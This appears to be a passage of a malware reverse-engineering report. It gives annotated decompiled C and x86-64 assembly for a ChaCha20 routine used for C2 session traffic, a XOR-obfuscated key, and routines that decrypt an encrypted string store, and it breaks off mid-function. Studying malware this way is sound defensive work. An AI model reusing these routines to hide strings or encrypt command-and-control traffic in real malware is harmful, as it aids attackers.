0040d3ef	c7 44 24 0c 10 00 00 00	MOV dword ptr [RSP + local_2c],0x10
0040d3f7	e8 40 a8 00 00	CALL FUN_00417c3c
0040d3fc	31 d2	XOR EDX,EDX
0040d3fe	be 02 00 00 00	MOV ESI,0x2
0040d403	bf 02 00 00 00	MOV EDI,0x2
0040d408	c7 00 00 00 00 00	MOV dword ptr [RAX],0x0
0040d40e	e8 f0 e7 00 00	CALL FUN_0041bc03
0040d413	89 c5	MOV EBP,EAX
0040d415	31 c0	XOR EAX,EAX
0040d417	83 fd ff	CMP EBP,-0x1
0040d41a	74 52	JZ LAB_0040d46e
0040d41c	bf 08 08 08 08	MOV EDI,0x8080808
0040d421	4c 8d 64 24 10	LEA R12,[RSP + 0x10]
0040d426	66 c7 44 24 10 02 00	MOV word ptr [RSP + local_28],0x2
0040d42d	e8 d6 c6 00 00	CALL FUN_00419b08
0040d432	bf 35 00 00 00	MOV EDI,0x35
0040d437	89 44 24 14	MOV dword ptr [RSP + local_24],EAX
0040d43b	e8 cd c6 00 00	CALL FUN_00419b0d
0040d440	ba 10 00 00 00	MOV EDX,0x10
0040d445	4c 89 e6	MOV RSI,R12
0040d448	89 ef	MOV EDI,EBP
0040d44a	66 89 44 24 12	MOV word ptr [RSP + local_26],AX
0040d44f	e8 35 c2 00 00	CALL FUN_00419689
0040d454	48 8d 54 24 0c	LEA RDX,[RSP + 0xc]
0040d459	4c 89 e6	MOV RSI,R12
0040d45c	89 ef	MOV EDI,EBP
0040d45e	e8 66 c6 00 00	CALL FUN_00419ac9
0040d463	89 ef	MOV EDI,EBP
0040d465	e8 d7 06 01 00	CALL FUN_0041db41
0040d46a	8b 44 24 14	MOV EAX,dword ptr [RSP + local_24]
LAB_0040d46e:
0040d46e	48 83 c4 28	ADD RSP,0x28
0040d472	5d	POP RBP
0040d473	41 5c	POP R12
0040d475	c3	RET

chaCha20 stream cipher, used for the…

0x40d6c6564 bytes

undefined FUN_0040d6c6()

ChaCha20 stream cipher, used for the string store and for C2 session frames

Cited as: E3, E32
Behaviours: B1, B6
Called from: FUN_0040939a, FUN_0040d8fa, FUN_0040dae1, FUN_0041159e, FUN_00411680, FUN_004129d6, FUN_00412ad8
Calls: FUN_0040d674, FUN_0040d677

Decompiled C · 103 lines

void FUN_0040d6c6(long param_1,undefined8 param_2,undefined8 param_3,long param_4,long param_5,
                 ulong param_6)

{
  byte bVar1;
  undefined4 uVar2;
  long lVar3;
  long lVar4;
  undefined8 extraout_RDX;
  long extraout_RDX_00;
  long extraout_RDX_01;
  int *piVar5;
  byte *pbVar6;
  int *piVar7;
  undefined1 *puVar8;
  int *piVar9;
  int iVar10;
  byte bVar11;
  int local_f0 [4];
  undefined1 local_e0 [32];
  int local_c0;
  undefined4 local_bc;
  undefined4 local_b8;
  undefined4 local_b4;
  int local_b0 [16];
  byte local_70 [64];
  
  bVar11 = 0;
  param_6 = param_6 & 0xffffffff;
  lVar4 = 0;
  do {
    lVar3 = lVar4 + 1;
    local_70[lVar4] = (&DAT_00426f20)[lVar4] ^ 0xa5;
    lVar4 = lVar3;
  } while (lVar3 != 0x10);
  lVar4 = 0;
  do {
    uVar2 = FUN_0040d674(local_70 + lVar4);
    *(undefined4 *)((long)local_f0 + lVar4) = uVar2;
    lVar4 = lVar4 + 4;
  } while (lVar4 != 0x10);
  lVar4 = 0;
  puVar8 = local_e0;
  do {
    uVar2 = FUN_0040d674(param_1 + lVar4);
    *(undefined4 *)(puVar8 + lVar4) = uVar2;
    lVar4 = lVar4 + 4;
  } while (lVar4 != 0x20);
  local_c0 = (int)param_2;
  piVar9 = local_b0;
  local_bc = FUN_0040d674(extraout_RDX);
  local_b8 = FUN_0040d674(extraout_RDX_00 + 4);
  local_b4 = FUN_0040d674(extraout_RDX_01 + 8);
  for (lVar4 = 0; (int)lVar4 < (int)param_6; lVar4 = lVar4 + 0x40) {
    iVar10 = 10;
    piVar5 = local_f0;
    piVar7 = local_b0;
    for (lVar3 = 0x10; lVar3 != 0; lVar3 = lVar3 + -1) {
      *piVar7 = *piVar5;
      piVar5 = piVar5 + (ulong)bVar11 * -2 + 1;
      piVar7 = piVar7 + (ulong)bVar11 * -2 + 1;
    }
    do {
      FUN_0040d677(piVar9,0,4,8,0xc);
      FUN_0040d677();
      FUN_0040d677();
      FUN_0040d677();
      FUN_0040d677();
      FUN_0040d677();
      FUN_0040d677();
      FUN_0040d677();
      iVar10 = iVar10 + -1;
    } while (iVar10 != 0);
    lVar3 = 0;
    do {
      *(int *)((long)piVar9 + lVar3) =
           *(int *)((long)piVar9 + lVar3) + *(int *)((long)local_f0 + lVar3);
      lVar3 = lVar3 + 4;
    } while (lVar3 != 0x40);
    lVar3 = 0;
    pbVar6 = local_70;
    do {
      uVar2 = *(undefined4 *)((long)piVar9 + lVar3);
      lVar3 = lVar3 + 4;
      *pbVar6 = (byte)uVar2;
      pbVar6[1] = (byte)((uint)uVar2 >> 8);
      pbVar6[2] = (byte)((uint)uVar2 >> 0x10);
      pbVar6[3] = (byte)((uint)uVar2 >> 0x18);
      pbVar6 = pbVar6 + 4;
    } while (lVar3 != 0x40);
    local_c0 = local_c0 + 1;
    pbVar6 = local_70;
    for (lVar3 = lVar4; ((int)lVar3 <= (int)lVar4 + 0x3f && ((int)lVar3 < (int)param_6));
        lVar3 = lVar3 + 1) {
      bVar1 = *pbVar6;
      pbVar6 = pbVar6 + 1;
      *(byte *)(param_5 + lVar3) = *(byte *)(param_4 + lVar3) ^ bVar1;
    }
  }
  return;
}

Assembly · 144 instructions, 0 annotated

Address	Bytes	Instruction
0040d6c6	41 57	PUSH R15
0040d6c8	49 89 fa	MOV R10,RDI
0040d6cb	45 89 cb	MOV R11D,R9D
0040d6ce	31 c0	XOR EAX,EAX
0040d6d0	41 56	PUSH R14
0040d6d2	48 8d 3d 47 98 01 00	LEA RDI,[DAT_00426f20]
0040d6d9	41 55	PUSH R13
0040d6db	4d 89 c5	MOV R13,R8
0040d6de	41 54	PUSH R12
0040d6e0	49 89 cc	MOV R12,RCX
0040d6e3	55	PUSH RBP
0040d6e4	53	PUSH RBX
0040d6e5	48 81 ec c8 00 00 00	SUB RSP,0xc8
0040d6ec	48 8d 9c 24 88 00 00 00	LEA RBX,[RSP + 0x88]
LAB_0040d6f4:
0040d6f4	8a 0c 07	MOV CL,byte ptr [RDI + RAX*0x1]
0040d6f7	48 ff c0	INC RAX
0040d6fa	83 f1 a5	XOR ECX,0xffffffa5
0040d6fd	88 4c 18 ff	MOV byte ptr [RAX + RBX*0x1 + -0x1],CL
0040d701	48 83 f8 10	CMP RAX,0x10
0040d705	75 ed	JNZ LAB_0040d6f4
0040d707	31 c9	XOR ECX,ECX
0040d709	48 8d 6c 24 08	LEA RBP,[RSP + 0x8]
LAB_0040d70e:
0040d70e	48 8d 3c 0b	LEA RDI,[RBX + RCX*0x1]
0040d712	e8 5d ff ff ff	CALL FUN_0040d674
0040d717	89 44 0d 00	MOV dword ptr [RBP + RCX*0x1],EAX
0040d71b	48 83 c1 04	ADD RCX,0x4
0040d71f	48 83 f9 10	CMP RCX,0x10
0040d723	75 e9	JNZ LAB_0040d70e
0040d725	31 c9	XOR ECX,ECX
0040d727	4c 8d 44 24 18	LEA R8,[RSP + 0x18]
LAB_0040d72c:
0040d72c	49 8d 3c 0a	LEA RDI,[R10 + RCX*0x1]
0040d730	e8 3f ff ff ff	CALL FUN_0040d674
0040d735	41 89 04 08	MOV dword ptr [R8 + RCX*0x1],EAX
0040d739	48 83 c1 04	ADD RCX,0x4
0040d73d	48 83 f9 20	CMP RCX,0x20
0040d741	75 e9	JNZ LAB_0040d72c
0040d743	48 89 d7	MOV RDI,RDX
0040d746	89 74 24 38	MOV dword ptr [RSP + local_c0],ESI
0040d74a	45 31 ff	XOR R15D,R15D
0040d74d	4c 8d 54 24 48	LEA R10,[RSP + 0x48]
0040d752	e8 1d ff ff ff	CALL FUN_0040d674
0040d757	48 8d 7a 04	LEA RDI,[RDX + 0x4]
0040d75b	89 44 24 3c	MOV dword ptr [RSP + local_bc],EAX
0040d75f	e8 10 ff ff ff	CALL FUN_0040d674
0040d764	48 8d 7a 08	LEA RDI,[RDX + 0x8]
0040d768	89 44 24 40	MOV dword ptr [RSP + local_b8],EAX
0040d76c	e8 03 ff ff ff	CALL FUN_0040d674
0040d771	89 44 24 44	MOV dword ptr [RSP + local_b4],EAX
LAB_0040d775:
0040d775	44 89 7c 24 04	MOV dword ptr [RSP + local_f4],R15D
0040d77a	45 39 fb	CMP R11D,R15D
0040d77d	0f 8e 65 01 00 00	JLE LAB_0040d8e8
0040d783	48 8d 7c 24 48	LEA RDI,[RSP + 0x48]
0040d788	b9 10 00 00 00	MOV ECX,0x10
0040d78d	48 89 ee	MOV RSI,RBP
0040d790	41 be 0a 00 00 00	MOV R14D,0xa
0040d796	f3 a5	MOVSD.REP RDI,RSI
LAB_0040d798:
0040d798	4c 89 d7	MOV RDI,R10
0040d79b	31 f6	XOR ESI,ESI
0040d79d	41 b8 0c 00 00 00	MOV R8D,0xc
0040d7a3	b9 08 00 00 00	MOV ECX,0x8
0040d7a8	ba 04 00 00 00	MOV EDX,0x4
0040d7ad	e8 c5 fe ff ff	CALL FUN_0040d677
0040d7b2	41 b8 0d 00 00 00	MOV R8D,0xd
0040d7b8	b9 09 00 00 00	MOV ECX,0x9
0040d7bd	ba 05 00 00 00	MOV EDX,0x5
0040d7c2	be 01 00 00 00	MOV ESI,0x1
0040d7c7	e8 ab fe ff ff	CALL FUN_0040d677
0040d7cc	41 b8 0e 00 00 00	MOV R8D,0xe
0040d7d2	b9 0a 00 00 00	MOV ECX,0xa
0040d7d7	ba 06 00 00 00	MOV EDX,0x6
0040d7dc	be 02 00 00 00	MOV ESI,0x2
0040d7e1	e8 91 fe ff ff	CALL FUN_0040d677
0040d7e6	41 b8 0f 00 00 00	MOV R8D,0xf
0040d7ec	b9 0b 00 00 00	MOV ECX,0xb
0040d7f1	ba 07 00 00 00	MOV EDX,0x7
0040d7f6	be 03 00 00 00	MOV ESI,0x3
0040d7fb	e8 77 fe ff ff	CALL FUN_0040d677
0040d800	31 f6	XOR ESI,ESI
0040d802	41 b8 0f 00 00 00	MOV R8D,0xf
0040d808	b9 0a 00 00 00	MOV ECX,0xa
0040d80d	ba 05 00 00 00	MOV EDX,0x5
0040d812	e8 60 fe ff ff	CALL FUN_0040d677
0040d817	41 b8 0c 00 00 00	MOV R8D,0xc
0040d81d	b9 0b 00 00 00	MOV ECX,0xb
0040d822	ba 06 00 00 00	MOV EDX,0x6
0040d827	be 01 00 00 00	MOV ESI,0x1
0040d82c	e8 46 fe ff ff	CALL FUN_0040d677
0040d831	41 b8 0d 00 00 00	MOV R8D,0xd
0040d837	b9 08 00 00 00	MOV ECX,0x8
0040d83c	ba 07 00 00 00	MOV EDX,0x7
0040d841	be 02 00 00 00	MOV ESI,0x2
0040d846	e8 2c fe ff ff	CALL FUN_0040d677
0040d84b	41 b8 0e 00 00 00	MOV R8D,0xe
0040d851	b9 09 00 00 00	MOV ECX,0x9
0040d856	ba 04 00 00 00	MOV EDX,0x4
0040d85b	be 03 00 00 00	MOV ESI,0x3
0040d860	e8 12 fe ff ff	CALL FUN_0040d677
0040d865	41 ff ce	DEC R14D
0040d868	0f 85 2a ff ff ff	JNZ LAB_0040d798
0040d86e	31 c0	XOR EAX,EAX
LAB_0040d870:
0040d870	8b 54 05 00	MOV EDX,dword ptr [RBP + RAX*0x1]
0040d874	41 01 14 02	ADD dword ptr [R10 + RAX*0x1],EDX
0040d878	48 83 c0 04	ADD RAX,0x4
0040d87c	48 83 f8 40	CMP RAX,0x40
0040d880	75 ee	JNZ LAB_0040d870
0040d882	48 89 de	MOV RSI,RBX
0040d885	48 89 d8	MOV RAX,RBX
0040d888	45 31 c9	XOR R9D,R9D
LAB_0040d88b:
0040d88b	43 8b 14 0a	MOV EDX,dword ptr [R10 + R9*0x1]
0040d88f	49 83 c1 04	ADD R9,0x4
0040d893	48 83 c0 04	ADD RAX,0x4
0040d897	89 d7	MOV EDI,EDX
0040d899	88 50 fc	MOV byte ptr [RAX + local_70],DL
0040d89c	88 70 fd	MOV byte ptr [RAX + local_6f],DH
0040d89f	c1 ef 10	SHR EDI,0x10
0040d8a2	c1 ea 18	SHR EDX,0x18
0040d8a5	40 88 78 fe	MOV byte ptr [RAX + local_6e],DIL
0040d8a9	88 50 ff	MOV byte ptr [RAX + local_6d],DL
0040d8ac	49 83 f9 40	CMP R9,0x40
0040d8b0	75 d9	JNZ LAB_0040d88b
0040d8b2	ff 44 24 38	INC dword ptr [RSP + local_c0]
0040d8b6	44 8b 74 24 04	MOV R14D,dword ptr [RSP + local_f4]
0040d8bb	4c 89 f8	MOV RAX,R15
0040d8be	41 83 c6 3f	ADD R14D,0x3f
LAB_0040d8c2:
0040d8c2	41 39 c6	CMP R14D,EAX
0040d8c5	7c 18	JL LAB_0040d8df
0040d8c7	41 39 c3	CMP R11D,EAX
0040d8ca	7e 13	JLE LAB_0040d8df
0040d8cc	41 8a 14 04	MOV DL,byte ptr [R12 + RAX*0x1]
0040d8d0	32 16	XOR DL,byte ptr [RSI]
0040d8d2	48 ff c6	INC RSI
0040d8d5	41 88 54 05 00	MOV byte ptr [R13 + RAX*0x1],DL
0040d8da	48 ff c0	INC RAX
0040d8dd	eb e3	JMP LAB_0040d8c2
LAB_0040d8df:
0040d8df	49 83 c7 40	ADD R15,0x40
0040d8e3	e9 8d fe ff ff	JMP LAB_0040d775
LAB_0040d8e8:
0040d8e8	48 81 c4 c8 00 00 00	ADD RSP,0xc8
0040d8ef	5b	POP RBX
0040d8f0	5d	POP RBP
0040d8f1	41 5c	POP R12
0040d8f3	41 5d	POP R13
0040d8f5	41 5e	POP R14
0040d8f7	41 5f	POP R15
0040d8f9	c3	RET

copies one store entry into its slot…

0x40d8fa487 bytes

undefined FUN_0040d8fa()

copies one store entry into its slot and decrypts it in place

Cited as: E2
Behaviours: B1
Called from: FUN_0040dba0
Calls: FUN_0040d6c6, FUN_00417f10

Decompiled C · 62 lines

undefined8 FUN_0040d8fa(uint param_1,undefined1 *param_2,uint param_3,undefined8 param_4)

{
  bool bVar1;
  undefined1 *puVar2;
  ulong uVar3;
  undefined *puVar4;
  long lVar5;
  undefined *puVar6;
  long *plVar7;
  byte bVar8;
  
  bVar8 = 0;
  plVar7 = (long *)((ulong)param_1 * 0x10 + DAT_0062e6f0);
  puVar2 = (undefined1 *)FUN_00417f10(1,(long)(int)param_3 + 1);
  *plVar7 = (long)puVar2;
  if (puVar2 == (undefined1 *)0x0) {
    bVar1 = 0x1f < (int)param_3;
    if (((((((param_1 != 0) || (puVar4 = &DAT_0062e5e0, bVar1)) &&
           ((param_1 != 1 || (puVar4 = &DAT_0062e5c0, bVar1)))) &&
          ((param_1 != 2 || (puVar4 = &DAT_0062e5a0, bVar1)))) &&
         (((param_1 != 3 || (puVar4 = &DAT_0062e580, bVar1)) &&
          ((((param_1 != 4 || (puVar4 = &DAT_0062e560, bVar1)) &&
            ((param_1 != 5 || (puVar4 = &DAT_0062e540, bVar1)))) &&
           ((param_1 != 6 || (puVar4 = &DAT_0062e520, bVar1)))))))) &&
        ((param_1 != 7 || (puVar4 = &DAT_0062e500, bVar1)))) &&
       (((param_1 != 8 || (puVar4 = &DAT_0062e4e0, bVar1)) &&
        ((param_1 != 9 || (puVar4 = &DAT_0062e4c0, bVar1)))))) {
      if (((0x2f < (int)param_3) || (lVar5 = (long)DAT_0062dba0, 0x2f < DAT_0062dba0)) ||
         (0x2d < param_1 - 10)) {
        *(undefined4 *)(plVar7 + 1) = 0;
        *plVar7 = (long)&DAT_0062e610;
        return param_4;
      }
      DAT_0062dba0 = DAT_0062dba0 + 1;
      puVar4 = &DAT_0062dbc0 + lVar5 * 0x30;
    }
    puVar6 = puVar4;
    for (uVar3 = (ulong)param_3; uVar3 != 0; uVar3 = uVar3 - 1) {
      *puVar6 = *param_2;
      param_2 = param_2 + (ulong)bVar8 * -2 + 1;
      puVar6 = puVar6 + (ulong)bVar8 * -2 + 1;
    }
    FUN_0040d6c6(&DAT_0062ba00,1,&DAT_0062b9e8,puVar4,puVar4,param_3);
    puVar4[(int)param_3] = 0;
    *plVar7 = (long)puVar4;
    *(uint *)(plVar7 + 1) = param_3;
  }
  else {
    for (uVar3 = (ulong)param_3; uVar3 != 0; uVar3 = uVar3 - 1) {
      *puVar2 = *param_2;
      param_2 = param_2 + (ulong)bVar8 * -2 + 1;
      puVar2 = puVar2 + (ulong)bVar8 * -2 + 1;
    }
    *(uint *)(plVar7 + 1) = param_3;
    FUN_0040d6c6(&DAT_0062ba00,1,&DAT_0062b9e8,*plVar7,*plVar7,param_3);
    *(undefined1 *)(*plVar7 + (long)(int)plVar7[1]) = 0;
  }
  return param_4;
}

Assembly · 128 instructions, 0 annotated

Address	Bytes	Instruction
0040d8fa	41 57	PUSH R15
0040d8fc	41 56	PUSH R14
0040d8fe	41 55	PUSH R13
0040d900	41 89 fd	MOV R13D,EDI
0040d903	bf 01 00 00 00	MOV EDI,0x1
0040d908	41 54	PUSH R12
0040d90a	4c 63 e2	MOVSXD R12,EDX
0040d90d	4d 89 ef	MOV R15,R13
0040d910	49 c1 e5 04	SHL R13,0x4
0040d914	55	PUSH RBP
0040d915	4d 89 e6	MOV R14,R12
0040d918	53	PUSH RBX
0040d919	48 89 f3	MOV RBX,RSI
0040d91c	49 8d 74 24 01	LEA RSI,[R12 + 0x1]
0040d921	51	PUSH RCX
0040d922	4c 03 2d c7 0d 22 00	ADD R13,qword ptr [DAT_0062e6f0]
0040d929	e8 e2 a5 00 00	CALL FUN_00417f10
0040d92e	49 89 45 00	MOV qword ptr [R13],RAX
0040d932	48 85 c0	TEST RAX,RAX
0040d935	0f 85 21 01 00 00	JNZ LAB_0040da5c
0040d93b	41 83 fc 1f	CMP R12D,0x1f
0040d93f	0f 9e c2	SETLE DL
0040d942	45 85 ff	TEST R15D,R15D
0040d945	75 0f	JNZ LAB_0040d956
0040d947	48 8d 2d 92 0c 22 00	LEA RBP,[DAT_0062e5e0]
0040d94e	84 d2	TEST DL,DL
0040d950	0f 85 45 01 00 00	JNZ LAB_0040da9b
LAB_0040d956:
0040d956	41 83 ff 01	CMP R15D,0x1
0040d95a	75 0f	JNZ LAB_0040d96b
0040d95c	48 8d 2d 5d 0c 22 00	LEA RBP,[DAT_0062e5c0]
0040d963	84 d2	TEST DL,DL
0040d965	0f 85 30 01 00 00	JNZ LAB_0040da9b
LAB_0040d96b:
0040d96b	41 83 ff 02	CMP R15D,0x2
0040d96f	75 0f	JNZ LAB_0040d980
0040d971	48 8d 2d 28 0c 22 00	LEA RBP,[DAT_0062e5a0]
0040d978	84 d2	TEST DL,DL
0040d97a	0f 85 1b 01 00 00	JNZ LAB_0040da9b
LAB_0040d980:
0040d980	41 83 ff 03	CMP R15D,0x3
0040d984	75 0f	JNZ LAB_0040d995
0040d986	48 8d 2d f3 0b 22 00	LEA RBP,[DAT_0062e580]
0040d98d	84 d2	TEST DL,DL
0040d98f	0f 85 06 01 00 00	JNZ LAB_0040da9b
LAB_0040d995:
0040d995	41 83 ff 04	CMP R15D,0x4
0040d999	75 0f	JNZ LAB_0040d9aa
0040d99b	48 8d 2d be 0b 22 00	LEA RBP,[DAT_0062e560]
0040d9a2	84 d2	TEST DL,DL
0040d9a4	0f 85 f1 00 00 00	JNZ LAB_0040da9b
LAB_0040d9aa:
0040d9aa	41 83 ff 05	CMP R15D,0x5
0040d9ae	75 0f	JNZ LAB_0040d9bf
0040d9b0	48 8d 2d 89 0b 22 00	LEA RBP,[DAT_0062e540]
0040d9b7	84 d2	TEST DL,DL
0040d9b9	0f 85 dc 00 00 00	JNZ LAB_0040da9b
LAB_0040d9bf:
0040d9bf	41 83 ff 06	CMP R15D,0x6
0040d9c3	75 0f	JNZ LAB_0040d9d4
0040d9c5	48 8d 2d 54 0b 22 00	LEA RBP,[DAT_0062e520]
0040d9cc	84 d2	TEST DL,DL
0040d9ce	0f 85 c7 00 00 00	JNZ LAB_0040da9b
LAB_0040d9d4:
0040d9d4	41 83 ff 07	CMP R15D,0x7
0040d9d8	75 0f	JNZ LAB_0040d9e9
0040d9da	48 8d 2d 1f 0b 22 00	LEA RBP,[DAT_0062e500]
0040d9e1	84 d2	TEST DL,DL
0040d9e3	0f 85 b2 00 00 00	JNZ LAB_0040da9b
LAB_0040d9e9:
0040d9e9	41 83 ff 08	CMP R15D,0x8
0040d9ed	75 0f	JNZ LAB_0040d9fe
0040d9ef	48 8d 2d ea 0a 22 00	LEA RBP,[DAT_0062e4e0]
0040d9f6	84 d2	TEST DL,DL
0040d9f8	0f 85 9d 00 00 00	JNZ LAB_0040da9b
LAB_0040d9fe:
0040d9fe	41 83 ff 09	CMP R15D,0x9
0040da02	75 0f	JNZ LAB_0040da13
0040da04	48 8d 2d b5 0a 22 00	LEA RBP,[DAT_0062e4c0]
0040da0b	84 d2	TEST DL,DL
0040da0d	0f 85 88 00 00 00	JNZ LAB_0040da9b
LAB_0040da13:
0040da13	41 83 fe 2f	CMP R14D,0x2f
0040da17	7f 2e	JG LAB_0040da47
0040da19	48 63 2d 80 01 22 00	MOVSXD RBP,dword ptr [DAT_0062dba0]
0040da20	83 fd 2f	CMP EBP,0x2f
0040da23	7f 22	JG LAB_0040da47
0040da25	41 8d 47 f6	LEA EAX,[R15 + -0xa]
0040da29	83 f8 2d	CMP EAX,0x2d
0040da2c	77 19	JA LAB_0040da47
0040da2e	8d 45 01	LEA EAX,[RBP + 0x1]
0040da31	48 6b ed 30	IMUL RBP,RBP,0x30
0040da35	89 05 65 01 22 00	MOV dword ptr [DAT_0062dba0],EAX
0040da3b	48 8d 05 7e 01 22 00	LEA RAX,[DAT_0062dbc0]
0040da42	48 01 c5	ADD RBP,RAX
0040da45	eb 54	JMP LAB_0040da9b
LAB_0040da47:
0040da47	48 8d 05 c2 0b 22 00	LEA RAX,[DAT_0062e610]
0040da4e	41 c7 45 08 00 00 00 00	MOV dword ptr [R13 + 0x8],0x0
0040da56	49 89 45 00	MOV qword ptr [R13],RAX
0040da5a	eb 79	JMP LAB_0040dad5
LAB_0040da5c:
0040da5c	48 89 c7	MOV RDI,RAX
0040da5f	44 89 e1	MOV ECX,R12D
0040da62	48 89 de	MOV RSI,RBX
0040da65	45 89 e1	MOV R9D,R12D
0040da68	f3 a4	MOVSB.REP RDI,RSI
0040da6a	45 89 65 08	MOV dword ptr [R13 + 0x8],R12D
0040da6e	be 01 00 00 00	MOV ESI,0x1
0040da73	48 8d 15 6e df 21 00	LEA RDX,[DAT_0062b9e8]
0040da7a	48 8d 3d 7f df 21 00	LEA RDI,[DAT_0062ba00]
0040da81	49 8b 4d 00	MOV RCX,qword ptr [R13]
0040da85	49 89 c8	MOV R8,RCX
0040da88	e8 39 fc ff ff	CALL FUN_0040d6c6
0040da8d	49 63 45 08	MOVSXD RAX,dword ptr [R13 + 0x8]
0040da91	49 8b 55 00	MOV RDX,qword ptr [R13]
0040da95	c6 04 02 00	MOV byte ptr [RDX + RAX*0x1],0x0
0040da99	eb 3a	JMP LAB_0040dad5
LAB_0040da9b:
0040da9b	44 89 f1	MOV ECX,R14D
0040da9e	48 89 ef	MOV RDI,RBP
0040daa1	48 89 de	MOV RSI,RBX
0040daa4	45 89 f1	MOV R9D,R14D
0040daa7	f3 a4	MOVSB.REP RDI,RSI
0040daa9	49 89 e8	MOV R8,RBP
0040daac	48 89 e9	MOV RCX,RBP
0040daaf	48 8d 15 32 df 21 00	LEA RDX,[DAT_0062b9e8]
0040dab6	be 01 00 00 00	MOV ESI,0x1
0040dabb	48 8d 3d 3e df 21 00	LEA RDI,[DAT_0062ba00]
0040dac2	e8 ff fb ff ff	CALL FUN_0040d6c6
0040dac7	42 c6 44 25 00 00	MOV byte ptr [RBP + R12*0x1],0x0
0040dacd	49 89 6d 00	MOV qword ptr [R13],RBP
0040dad1	45 89 75 08	MOV dword ptr [R13 + 0x8],R14D
LAB_0040dad5:
0040dad5	58	POP RAX
0040dad6	5b	POP RBX
0040dad7	5d	POP RBP
0040dad8	41 5c	POP R12
0040dada	41 5d	POP R13
0040dadc	41 5e	POP R14
0040dade	41 5f	POP R15
0040dae0	c3	RET

adds and decrypts an entry of the…

0x40dae1141 bytes

undefined FUN_0040dae1()

adds and decrypts an entry of the second store table at 0x62e640

Cited as: E2
Behaviours: B1
Called from: FUN_0040dba0
Calls: FUN_0040d6c6, FUN_00417f10

Decompiled C · 35 lines

void FUN_0040dae1(int param_1,undefined1 *param_2,uint param_3)

{
  undefined1 *puVar1;
  ulong uVar2;
  long lVar3;
  long *plVar4;
  undefined1 *puVar5;
  byte bVar6;
  
  bVar6 = 0;
  lVar3 = (long)param_1 * 0x10;
  puVar1 = (undefined1 *)FUN_00417f10(1,(long)(int)param_3 + 1);
  uVar2 = (ulong)param_3;
  plVar4 = (long *)(&DAT_0062e640 + lVar3);
  *plVar4 = (long)puVar1;
  if (puVar1 == (undefined1 *)0x0) {
    *(undefined4 *)(&DAT_0062e648 + lVar3) = 0;
    *plVar4 = (long)&DAT_0062e610;
  }
  else {
    *(uint *)(&DAT_0062e648 + lVar3) = param_3;
    puVar5 = puVar1;
    for (; uVar2 != 0; uVar2 = uVar2 - 1) {
      *puVar5 = *param_2;
      param_2 = param_2 + (ulong)bVar6 * -2 + 1;
      puVar5 = puVar5 + (ulong)bVar6 * -2 + 1;
    }
    FUN_0040d6c6(&DAT_0062ba00,1,&DAT_0062b9e8,puVar1);
    *(undefined1 *)(*plVar4 + (long)*(int *)(&DAT_0062e648 + lVar3)) = 0;
  }
  return;
}

Assembly · 39 instructions, 0 annotated

Address	Bytes	Instruction
0040dae1	55	PUSH RBP
0040dae2	48 89 f5	MOV RBP,RSI
0040dae5	48 63 f2	MOVSXD RSI,EDX
0040dae8	53	PUSH RBX
0040dae9	48 63 df	MOVSXD RBX,EDI
0040daec	bf 01 00 00 00	MOV EDI,0x1
0040daf1	48 c1 e3 04	SHL RBX,0x4
0040daf5	48 83 ec 18	SUB RSP,0x18
0040daf9	89 74 24 0c	MOV dword ptr [RSP + local_1c],ESI
0040dafd	48 ff c6	INC RSI
0040db00	e8 0b a4 00 00	CALL FUN_00417f10
0040db05	44 8b 4c 24 0c	MOV R9D,dword ptr [RSP + local_1c]
0040db0a	49 89 c0	MOV R8,RAX
0040db0d	48 8d 05 2c 0b 22 00	LEA RAX,[DAT_0062e640]
0040db14	48 01 c3	ADD RBX,RAX
0040db17	4d 85 c0	TEST R8,R8
0040db1a	4c 89 03	MOV qword ptr [RBX],R8
0040db1d	75 13	JNZ LAB_0040db32
0040db1f	48 8d 05 ea 0a 22 00	LEA RAX,[DAT_0062e610]
0040db26	c7 43 08 00 00 00 00	MOV dword ptr [RBX + 0x8],0x0
0040db2d	48 89 03	MOV qword ptr [RBX],RAX
0040db30	eb 35	JMP LAB_0040db67
LAB_0040db32:
0040db32	44 89 c9	MOV ECX,R9D
0040db35	4c 89 c7	MOV RDI,R8
0040db38	48 89 ee	MOV RSI,RBP
0040db3b	44 89 4b 08	MOV dword ptr [RBX + 0x8],R9D
0040db3f	f3 a4	MOVSB.REP RDI,RSI
0040db41	48 8d 15 a0 de 21 00	LEA RDX,[DAT_0062b9e8]
0040db48	4c 89 c1	MOV RCX,R8
0040db4b	be 01 00 00 00	MOV ESI,0x1
0040db50	48 8d 3d a9 de 21 00	LEA RDI,[DAT_0062ba00]
0040db57	e8 6a fb ff ff	CALL FUN_0040d6c6
0040db5c	48 63 43 08	MOVSXD RAX,dword ptr [RBX + 0x8]
0040db60	48 8b 13	MOV RDX,qword ptr [RBX]
0040db63	c6 04 02 00	MOV byte ptr [RDX + RAX*0x1],0x0
LAB_0040db67:
0040db67	48 83 c4 18	ADD RSP,0x18
0040db6b	5b	POP RBX
0040db6c	5d	POP RBP
0040db6d	c3	RET

fills the 476-slot string store with…

0x40dba010884 bytes

undefined FUN_0040dba0()

fills the 476-slot string store with 473 encrypted entries

Cited as: E2
Behaviours: B1
Called from: FUN_004001d0
Calls: FUN_0040b083, FUN_0040d8fa, FUN_0040dae1, FUN_00417f10

Decompiled C · 558 lines

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_0040dba0(void)

{
  int *piVar1;
  uint uVar2;
  uint uVar3;
  long lVar4;
  ulong uVar5;
  ulong uVar6;
  undefined1 *puVar7;
  undefined1 *puVar8;
  undefined4 *puVar9;
  undefined1 *puVar10;
  int iVar11;
  byte bVar12;
  
  bVar12 = 0;
  DAT_0062dba0 = 0;
  DAT_0062e6f0 = (undefined4 *)FUN_00417f10(0x1dc,0x10);
  if (DAT_0062e6f0 == (undefined4 *)0x0) {
    DAT_0062e6f0 = &DAT_0062bde0;
    puVar9 = &DAT_0062bde0;
    for (lVar4 = 0x770; lVar4 != 0; lVar4 = lVar4 + -1) {
      *puVar9 = 0;
      puVar9 = puVar9 + (ulong)bVar12 * -2 + 1;
    }
  }
  FUN_0040d8fa(0,&DAT_00426f30,0x18);
  FUN_0040d8fa(1,&DAT_00426f30,0x18);
  FUN_0040d8fa(2,&DAT_00426f30,0x18);
  FUN_0040d8fa(3,&DAT_00426f30,0x18);
  FUN_0040d8fa(4,&DAT_00426f30,0x18);
  FUN_0040d8fa(5,&DAT_00426f30,0x18);
  FUN_0040d8fa(6,&DAT_00426f30,0x18);
  FUN_0040d8fa(7,&DAT_00426f30,0x18);
  FUN_0040d8fa(8,&DAT_00426f49,0xc);
  FUN_0040d8fa(9,&DAT_00428226,0x12);
  FUN_0040d8fa(10,&DAT_00426f56,0x17);
  FUN_0040d8fa(0xb,&DAT_00426f6e,0x1b);
